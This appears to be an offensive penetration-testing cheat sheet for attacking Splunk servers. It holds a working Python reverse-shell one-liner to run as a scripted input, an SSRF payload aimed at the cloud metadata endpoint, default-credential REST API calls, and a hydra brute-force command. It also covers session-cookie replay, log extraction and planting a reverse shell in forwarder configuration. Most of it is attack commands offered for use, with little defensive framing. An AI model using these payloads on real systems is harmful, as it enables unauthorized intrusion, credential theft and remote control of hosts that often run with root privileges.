enumeration

1. Discovery/Footprinting

1.1 Nmap Port Scan

sudo nmap -sV <target_ip> -p 8000,8089

• Identify Splunkd httpd (port 8000/8089).

1.2 Web Interface Access

• http://<target_ip>:8000

• Default credentials (older versions): admin:changeme

• Common weak passwords: admin, Welcome, Password123

• Check for Splunk Free (no authentication).

1.3 Version Detection

• Check web interface headers, or API responses.

2. Enumeration

2.1 Splunk Free Check

• No login prompt = possible Splunk Free.

2.2 Web Interface Exploration

• Data browsing, reports, dashboards.

• Installed Splunkbase applications.

2.3 Scripted Inputs (RCE)

• Create inputs for Bash, PowerShell, Python.

• Python reverse shell example (scripted input):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

2.4 REST API (Port 8089)

• Enumerate for vulnerabilities.

• Use tools like curl or Python requests.

• Example REST API Enumeration:

curl -k -u admin:changeme https://<target_ip>:8089/services/server/info

2.5 Vulnerability Scanning

• Use vulnerability scanners (e.g., Nessus, OpenVAS).

• Search CVE databases (NVD, Exploit-DB).

2.6 SSRF

• Test for SSRF vulnerabilities.

• Example SSRF Exploitation:

curl -k -X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d "splunk_server=127.0.0.1&remote_server=http://169.254.169.254/latest/meta-data/" \
https://<target_ip>:8089/en-US/splunkd/__raw/services/data/inputs/http

2.7 Credential Brute-forcing

• Attempt brute forcing Splunk credentials.

• Example using hydra:

hydra -L users.txt -P passwords.txt <target_ip> http-form-post "/en-US/account/login:username=^USER^&password=^PASS^:Invalid username or password"

2.8 Splunk Log Extraction (if accessible)

curl -k -u admin:changeme https://<target_ip>:8089/services/search/jobs/export -d search="search index=_internal | head 10"

2.9 Session Hijacking (If Cookies Leak)

• Capture Splunk session cookies via XSS or MITM.

• Use curl or browser to replay requests:

curl -k -b "splunkd_8000=<session_cookie>" https://<target_ip>:8000/en-US/

2.10 Splunk Forwarder Abuse

• If compromised, use forwarders to send logs elsewhere or execute scripts.

• Modify inputs.conf to insert a reverse shell payload.

3. Key Points

1. Splunk often runs as root/SYSTEM.

2. Compromise = access to sensitive logs & network data.

3. Scripted inputs = direct RCE.

4. REST API = powerful attack vector.

5. Splunk logs can contain credentials.

6. Splunk logs can contain network information.

7. Session cookies can be hijacked for persistence.

8. Splunk forwarders can be abused for lateral movement.